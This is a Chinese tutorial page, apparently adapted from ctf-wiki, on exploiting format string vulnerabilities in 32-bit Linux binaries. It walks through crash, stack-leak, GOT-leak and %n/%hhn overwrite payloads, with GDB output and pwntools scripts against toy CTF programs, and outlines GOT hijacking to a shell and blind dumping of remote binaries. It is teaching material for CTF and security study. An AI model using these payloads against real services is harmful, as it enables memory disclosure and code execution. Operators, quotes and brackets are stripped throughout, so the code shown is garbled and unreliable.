
文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载格式化字符串漏洞Format String Vulnerability是 Linux Pwn 入门到进阶绕不开的核心议题当程序将用户可控数据直接作为printf等格式化函数的格式化字符串时攻击者既能利用%s打崩程序实施拒绝服务也能借%x/%p/%s/%n系列格式符实现任意内存泄露与任意地址写入最终配合 GOT 劫持、返回地址劫持等手段拿下 shell。本文以 ctf-wiki 格式化字符串利用篇 为主体结合仓库中的原理篇与实战篇fmtstr-intro.md、fmtstr-example.md完整梳理使程序崩溃 → 泄露栈内存 → 泄露任意地址内存 → 覆盖栈内存 → 覆盖任意地址内存的完整利用链路读完即可独立构造可运行的泄露与写入 payload。从漏洞到利用两种基础手段回顾格式化字符串漏洞的原理详见 格式化字符串漏洞原理格式化函数以第一个参数为格式化字符串根据其中的格式符逐条解析后续参数当格式化字符串由用户输入控制而参数缺失时函数仍会机械地按格式符从栈上32 位或寄存器与栈64 位取数据解析输出。ctf-wiki 将其总结为两个最直接的利用手段使程序崩溃%s对应参数地址不合法的概率较大输入大量%s即可造成段错误查看进程内容利用%d、%f等格式符把栈上本不属于本次调用的数据泄露出来。下文对这两方面分别展开并进一步延伸到更强大的任意地址读写。手段一利用 %s 使程序崩溃使程序崩溃是最简单的一种利用方式攻击者只需要输入若干个%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s原理在于%s会将其参数当作字符串指针解引用而栈上不可能每个机器字都恰好是合法可读地址因此总会有某个参数指向非法地址令进程崩溃。这种利用虽然不能直接控制程序却能造成拒绝服务DoS——例如远程服务若存在格式化字符串漏洞攻击者可以反复触发崩溃使服务不可用、合法用户无法访问。在 CTF 与真实渗透中这是对目标可用性打击的廉价手段。手段二泄露内存利用格式化字符串漏洞攻击者可以获取任意想要的输出内容。ctf-wiki 将泄露操作归纳为两大类泄露栈内存获取某个变量的值获取某个变量对应地址处的内存内容。泄露任意地址内存利用 GOT 表得到 libc 函数地址进而锁定 libc 版本并推得其他 libc 函数地址盲打blind逐字节 dump 整个程序从中提取有用信息。泄露栈内存以如下示例程序leakmemory.c为例#include stdio.h int main() { char s[100]; int a 1, b 0x22222222, c -1; scanf(%s, s); printf(%08x.%08x.%08x.%s\n, a, b, c, s); printf(s); return 0; }编译时建议关闭栈保护与 PIE方便观察与调试gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c编译器会给出经典告警warning: format not a string literal and no format arguments [-Wformat-security]这正是printf(s)存在格式化字符串漏洞的直接信号。根据 C 语言调用约定格式化函数会依据格式化字符串自栈顶向上依次取参数64 位则按 System V 传参规则从寄存器与栈获取本节以 32 位为例。直接运行$ ./leakmemory %08x.%08x.%08x 00000001.22222222.ffffffff.%08x.%08x.%08x ffcfc400.000000c2.f765a6bb前三个输出正好是a1、b0x22222222、c0xffffffff说明程序已经顺着栈把未提供的参数打了出来。获取栈变量数值用 GDB 验证栈布局为了验证上述推断用 GDB 在printf处下断点$ gdb leakmemory gef➤ b printf gef➤ r %08x.%08x.%08x程序先停在第一次printf正常调用处此时栈布局为0xffffccec│0x00: 0x080484bf → main84 add esp, 0x20 ← $esp 0xffffccf0│0x04: 0x08048563 → %08x.%08x.%08x.%s 0xffffccf4│0x08: 0x00000001 0xffffccf8│0x0c: 0x22222222 0xffffccfc│0x10: 0xffffffff 0xffffcd00│0x14: 0xffffcd10 → %08x.%08x.%08x 0xffffcd04│0x18: 0xffffcd10 → %08x.%08x.%08x 0xffffcd08│0x1c: 0x000000c2可见进入printf后栈第一个变量是返回地址第二个是格式化字符串地址第三个是a的值第四个是b的值第五个是c的值第六个才是用户输入字符串的地址。继续运行到第二次printf(s)断点此时格式化字符串本身就是用户输入0xffffccfc│0x00: 0x080484ce → main99 add esp, 0x10 ← $esp 0xffffcd00│0x04: 0xffffcd10 → %08x.%08x.%08x 0xffffcd04│0x08: 0xffffcd10 → %08x.%08x.%08x 0xffffcd08│0x0c: 0x000000c2 0xffffcd0c│0x10: 0xf7e8b6bb → handle_intel107 add esp, 0x10 0xffffcd10│0x14: %08x.%08x.%08x ← $eax由于格式化字符串为%08x.%08x.%08x程序将0xffffcd04及其后的数值按int解析输出最终输出ffffcd10.000000c2.f7e8b6bb与预期完全一致。实用建议也可以使用%p代替%x因为%p按指针宽度输出无需考虑位数差异%p.%p.%p 00000001.22222222.ffffffff.%p.%p.%p 0xfff328c0.0xc2.0xf75c46bb需要注意的是每次运行得到的结果并不相同——栈上数据会因每次分配的物理内存页不同而不同因为系统不会对内存页做初始化残存着历史数据。直接获取第 n1 个参数%order$x依次用%x只能顺序读取参数若想直接获取栈上被视为第n1个参数的值可使用位置参数语法%n$x其中n指格式化字符串对应的第n个输出参数相对输出函数本身则是第n1个参数。用 GDB 验证%3$x$ gdb leakmemory gef➤ b printf gef➤ r %3$x第一次printf断点处栈布局中0xffffcd04│0x18: 0xffffcd10即为格式化字符串参数的位置第二次断点处0xffffcd00│0x04: 0xffffcd10 → %3$x 0xffffcd04│0x08: 0xffffcd10 → %3$x 0xffffcd08│0x0c: 0x000000c2 0xffffcd0c│0x10: 0xf7e8b6bb继续运行输出f7e8b6bb正是printf第 4 个参数对应的值——位置参数语法让精确取参成为可能这是后续泄露指定地址内存的基础。获取栈变量对应的字符串%order$s若要获取某个栈变量所指向地址处的字符串内容需要用到%s。仍以上述程序调试为例输入%s第二次printf断点处的栈为0xffffcd00│0x04: 0xffffcd10 → 0xff007325 (%s?) 0xffffcd04│0x08: 0xffffcd10 → 0xff007325 (%s?) 0xffffcd08│0x0c: 0x000000c2 0xffffcd0c│0x10: 0xf7e8b6bb 0xffffcd10│0x14: 0xff007325 (%s?) ← $eax 0xffffcd14│0x18: 0xffffce3c → 0xffffd074 → XDG_SEAT_PATH...第二次执行printf时程序确实把0xffffcd04处的变量视为字符串指针输出了其数值对应地址处的字符串。务必注意并不是所有输入都能正常运行。如果对应变量无法被解析为合法字符串地址程序会直接崩溃。例如指定第 3 个参数%2$s格式化字符串的第 2 个参数即printf的第 3 个参数$ ./leakmemory %2$s 00000001.22222222.ffffffff.%2$s [1] 57534 segmentation fault (core dumped) ./leakmemory小技巧总结ctf-wiki 在此处给出三条实战经验用%x获取对应栈内存但建议改用%p可免去位数差异的考虑用%s获取变量所对应地址的内容注意其输出存在\x00零截断问题用%order$x获取指定参数的值用%order$s获取指定参数对应地址的内容。泄露任意地址内存上述手段无论泄露连续栈变量还是指定变量值都无法完全控制要泄露的变量地址。实战中更常见的需求是泄露某个 libc 函数的 GOT 表项得到其真实地址进而锁定 libc 版本、推得system等函数地址。这要求能完全控制对某个指定地址的读取。回顾调用过程一般格式化字符串都位于栈上如本例s是main的局部变量也就是说调用输出函数时格式化字符串自身的地址就在栈中。从上面的调试输出可以看到栈上第二个变量就是格式化字符串地址0xffffcd10该地址处存的正是不折不扣的格式化字符串内容。既然攻击者完全控制格式化字符串内容只要知道该格式化字符串是输出函数的第几个参数设为第k个就能用如下方式读取任意指定地址addr的内容addr%k$s注只要格式化字符串位于栈上其相对偏移就一定是确定的——函数调用时栈指针至少比格式化字符串地址低 8 或 16 字节对应 32/64 位下的调用帧布局。确定偏移tag 标记法定位格式化字符串是第几个参数常用tag 标记法将某个字符的机器字长重复作为 tag后面跟若干个%p输出栈内容若某段输出恰好与 tag 的十六进制形式如0x41414141吻合即可基本确认该处就是格式化字符串地址。之所以说很大把握而非绝对是因为栈上临时变量偶尔也可能恰好等于该值此时更换 tag 字符再试即可进一步确认。以字符A为 tag 测试$ ./leakmemory AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p 00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p AAAA0xffaab1600xc20xf76146bb0x414141410x702570250x702570250x702570250x702570250x702570250x702570250x702570250x70250xffaab2240xf77360000xaec7%0x41414141出现在输出序列的第 5 个栈参数第 5 位即格式化字符串起始地址是输出函数的第 5 个参数、格式化字符串的第 4 个参数。验证%4$s$ ./leakmemory %4$s 00000001.22222222.ffffffff.%4$s [1] 61439 segmentation fault (core dumped) ./leakmemory程序崩溃是预期的GDB 查看0xffffcd20处存放的格式化字符串首 4 字节为0x73243425即%4$s的 ASCIIx/x 0x73243425显示该地址无法被访问——把非指针值当作字符串地址解引用自然段错误。实战泄露 scanfgot若把addr替换成可访问地址例如scanfgot则%4$s会输出scanf的真实地址。先用 GDB 查看 GOTgef➤ got DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ffc R_386_GLOB_DAT __gmon_start__ 0804a00c R_386_JUMP_SLOT printfGLIBC_2.0 0804a010 R_386_JUMP_SLOT __libc_start_mainGLIBC_2.0 0804a014 R_386_JUMP_SLOT __isoc99_scanfGLIBC_2.7这里选用scanf而非printf是因为scanf函数会对\x0a、\x0b、\x0c、\x00等字符做特殊处理导致地址无法正常读入——这也是构造 payload 时选择目标 GOT 项的常见取舍。用 pwntools 构造 exploitfrom pwn import * sh process(./leakmemory) leakmemory ELF(./leakmemory) __isoc99_scanf_got leakmemory.got[__isoc99_scanf] print hex(__isoc99_scanf_got) payload p32(__isoc99_scanf_got) %4$s print payload gdb.attach(sh) sh.sendline(payload) sh.recvuntil(%4$s\n) print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanfgot sh.interactive()调试断点处可见第 4 个参数确实指向0x0804a014scanfgot其中存放0xf76280c0即scanf真实地址运行脚本输出0x804a014 \x14\xa0\x0%4$s 0xf76280c0成功拿到scanf地址据此即可结合 libc 数据库推算其他函数地址。偏移不对齐时的 padding并非所有偏移都是机器字长的整数倍。当目标地址无法正好落在参数对齐位置时需要对输入格式化字符串填充使待打印地址的内容恰好落在机器字长整数倍的地址处payload 形如[padding][addr]另一个常见坑是不能直接在命令行输入\x0c\xa0\x04\x08%4$s虽然前 4 字节确实是printfgot的地址但scanf不会将其识别为二进制字符串而会把\、x、0、c分别当作普通字符读入。GDB 显示此时栈上内容是\\x0c\\xa0\\x04\\x08%4$s0xffffcd10处存储的是0x6330785c——完全不是预期地址。因此必须使用 pwntools 的p32()/p64()构造二进制 payload。手段三覆盖内存泄露只是第一步。只要目标变量对应的地址可写就能利用格式化字符串修改任意内存。核心武器是%n格式符%n不输出字符但把已经成功输出的字符个数写入对应的整型指针参数所指的变量。配合%order$n的位置参数写法与适当的灌字符技巧即可实现任意地址写。ctf-wiki 将覆盖分两部分覆盖栈上的变量与覆盖指定地址的变量并以overflow.c为例/* example/overflow/overflow.c */ #include stdio.h int a 123, b 456; int main() { int c 789; char s[100]; printf(%p\n, c); scanf(%s, s); printf(s); if (c 16) { puts(modified c.); } else if (a 2) { puts(modified a for a small number.); } else if (b 0x12345678) { puts(modified b for a big number!); } return 0; }无论覆盖哪个地址payload 的基本形态都是...[overwrite addr]....%[overwrite offset]$n其中...为填充内容决定写入的字符总数overwrite addr为要覆盖的地址overwrite offset为该地址作为输出函数第几个参数的位置。因此利用流程固定为三步确定覆盖地址确定相对偏移进行覆盖。覆盖栈内存将 c 改为 16第一步确定覆盖地址。现代程序普遍开启 ASLR栈地址每次运行都在变化所以示例程序特意用printf(%p\n, c)输出了变量c的地址。第二步确定相对偏移。利用前面泄露栈变量的方法断点调试观察栈0xffffcd0c│0x00: 0x080484d7 → main76 add esp, 0x10 ← $esp 0xffffcd10│0x04: 0xffffcd28 → %d%d 0xffffcd14│0x08: 0xffffcd8c → 0x00000315 0xffffcd18│0x0c: 0x000000c2 0xffffcd20│0x14: 0xffffcd4e → 0xffff0000 0xffffcd28│0x1c: %d%d ← $eax0xffffcd14处存储的0x315即 789正是变量c的数值格式化字符串地址0xffffcd28相对格式化字符串参数0xffffcd10的偏移为0x18即格式化字符串是printf的第 7 个参数、格式化字符串自身的第 6 个参数。第三步进行覆盖。第 6 个参数处存放的正是变量c的地址利用%n写入。目标值为 16地址占 4 字节因此还需再输出 12 个字符凑满 16[addr of c]%012d%6$n完整脚本def forc(): sh process(./overwrite) c_addr int(sh.recvuntil(\n, dropTrue), 16) print hex(c_addr) payload p32(c_addr) %012d %6$n print payload sh.sendline(payload) print sh.recv() sh.interactive() forc()运行结果$ python exploit.py [] Starting local process ./overwrite: pid 74806 0xfffd8cdc ...%012d%6$n ...-00000160648modified c.c被成功改写为 16程序进入modified c.分支。覆盖任意地址内存小数字技巧修改全局变量a 2时遇到一个新问题若仍把地址放在 payload 最前面它本身占一个机器字长4/8 字节之后无论输出多少字符写入值都会大于 4无法写小于机器字长的小数字。虽然理论上可用整数溢出绕过写出 2^32 或 2^64 个字符但一次性输出海量字节基本不可能成功。关键洞察地址不一定要放在字符串最前面。之前把 tag 放前面只是为了方便找偏移把地址放在中间同样可行。已知格式化字符串偏移为 6目标是向地址写入 2aa%k$nxx此时aa%k占第 6 个参数位置$nxx占第 7 个参数位置紧跟其后的地址就是第 8 个参数故取k8即可覆盖。利用 IDA 可得全局变量a的地址为0x0804A024已初始化全局变量位于.data段而非栈上.data:0804A024 public a .data:0804A024 a dd 7Bh构造 exploitdef fora(): sh process(./overwrite) a_addr 0x0804A024 payload aa%8$naa p32(a_addr) sh.sendline(payload) print sh.recv() sh.interactive()运行后输出modified a for a small number.a被改写为 2。核心技巧总结地址放在 payload 的任意位置都可以只要能算出其对应的参数偏移。覆盖任意地址内存大数字与逐字节写入目标变为把b写成0x12345678。一次性输出0x12345678约 3 亿个字符既不现实也极易超时需要更精巧的方案。先复习两个基础事实内存的小端存储x86/x64 下变量按字节存储最低有效字节位于低地址。例如0x12345678在内存中由低到高依次为\x78\x56\x34\x12两个长度修饰符hh 对于整数类型printf 期待一个从 char 提升的 int 尺寸的整型参数。 h 对于整数类型printf 期待一个从 short 提升的 int 尺寸的整型参数。因此可用%hhn向指定地址写入单字节用%hn写入双字节。以单字节为例目标地址为0x0804A028b在.data段.data:0804A028 public b .data:0804A028 b dd 1C8h覆盖计划0x0804A028 \x78 0x0804A029 \x56 0x0804A02a \x34 0x0804A02b \x12已知格式化字符串偏移为 6payload 骨架为p32(0x0804A028)p32(0x0804A029)p32(0x0804A02a)p32(0x0804A02b)pad1%6$npad2%7$npad3%8$npad4%9$n关键点在于%hhn写入的字符数需要累加计算每次写入的字节值 目标字节 - 已输出字符数若为负则加 256 取模。ctf-wiki 给出了通用构造函数def fmt(prev, word, index): if prev word: result word - prev fmtstr % str(result) c elif prev word: result 0 else: result 256 word - prev fmtstr % str(result) c fmtstr % str(index) $hhn return fmtstr def fmt_str(offset, size, addr, target): payload for i in range(4): if size 4: payload p32(addr i) else: payload p64(addr i) prev len(payload) for i in range(4): payload fmt(prev, (target i * 8) 0xff, offset i) prev (target i * 8) 0xff return payload payload fmt_str(6,4,0x0804A028,0x12345678)参数含义offset要覆盖地址最初的参数偏移size机器字长4 或 8决定用p32还是p64addr要覆盖的起始地址target目标写入值。对应 exploitdef forb(): sh process(./overwrite) payload fmt_str(6, 4, 0x0804A028, 0x12345678) print payload sh.sendline(payload) print sh.recv() sh.interactive()运行输出modified b for a big number!成功写满 4 个字节。生成的 payload 形如(\xa0\x0)\xa0\x0*\xa0\x0\xa0\x0%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn每个%hhn前用%Nc精确补足累计字符数。为什么用%hhn而非%n虽然用%n逐个地址写入也能得到答案但%n一次写入 4 字节会连带影响目标地址之后 3 个字节若这些字节恰好关键如相邻变量、指针高位程序可能崩溃。%hhn只改动目标地址一个字节副作用最小、更稳健。延伸从泄露/写入到控制流劫持本文演示的泄露GOT 表 → libc 基址与写入%n系列 → 任意地址写是格式化字符串利用的两块基石在此之上可以组合出完整 exploit64 位程序的差异64 位函数前 6 个参数存于寄存器rdi、rsi、rdx、rcx、r8、r9偏移计算逻辑类似但起点不同格式化字符串自身通常从第 10 个左右参数起算详见 64 位格式化字符串示例 中的 2017 UIUCTF pwn200 GoodLuck 一题。GOT 劫持在未开启 Full RELRO 时可将putsgot改写为system地址程序下次调用puts时实际执行system配合/bin/sh参数直接拿 shellpwntools 的fmtstr_payload(offset, {got_addr: target})可自动生成完整写入 payload。返回地址劫持与堆上格式化字符串Full RELRO 场景无法改 GOT可转而劫持栈上返回地址利用相对rbp的固定偏移格式化字符串位于堆上时定位偏移更困难可结合栈迁移stack pivoting扩展攻击面。盲打仅给 ip/port 不提供二进制时可先%p判定位数再%order$s从0x400000起逐字节 dump 程序还原二进制再走标准利用流程。漏洞检测编译期可用-Wformat-security类告警辅助排查运行期可利用 检测工具 章节提及的 LazyIDA 插件辅助定位格式化字符串漏洞。总结格式化字符串漏洞的利用本质是把格式化字符串本身当作攻击者与内存之间的读写接口读%x/%p顺序读栈、%order$x精确取参、addr%order$s任意地址读写%order$n按已输出字符数写入小数字用地址后置对齐偏移大数字用%hhn逐字节累加写入攻击面从本地 DoS、栈/堆内存泄露到 GOT 劫持、返回地址劫持、盲打 dump 程序层层递进。掌握 原理篇 的格式符语法%[parameter][flags][field width][.precision][length]type与本篇的泄露/写入套路再配合 实战篇 的经典赛题即可在真实 CTF 中稳定构造出可复现的格式化字符串 exploit。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐开源阅读鸿蒙版完整指南如何打造你的专属数字图书馆开源阅读鸿蒙版完整指南如何打造你的专属数字图书馆 在数字阅读时代你是否厌倦了各种阅读平台的限制和广告干扰开源阅读鸿蒙版Legado Harmony为你文档网络安全教程pwntools 格式化字符串漏洞利用指南从 FmtStr 自动化到 fmtstr_payload 实战pwntools 格式化字符串漏洞利用指南从 FmtStr 自动化到 fmtstr_payload 实战 导读 本文以 pwntools 的 pwnlib.f网络安全渗透测试逆向工程HTML转Figma架构解密现代设计工作流的技术桥梁HTML转Figma架构解密现代设计工作流的技术桥梁 在当今快速迭代的Web开发环境中设计与开发之间的协作效率直接决定了产品交付速度。HTML转Figma工前端开发工具上一篇终极macOS虚拟机多用户配置指南VirtualBox用户账户管理完全教程下一篇国家中小学智慧教育平台电子课本下载工具3 步把在线预览变成离线 PDF创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考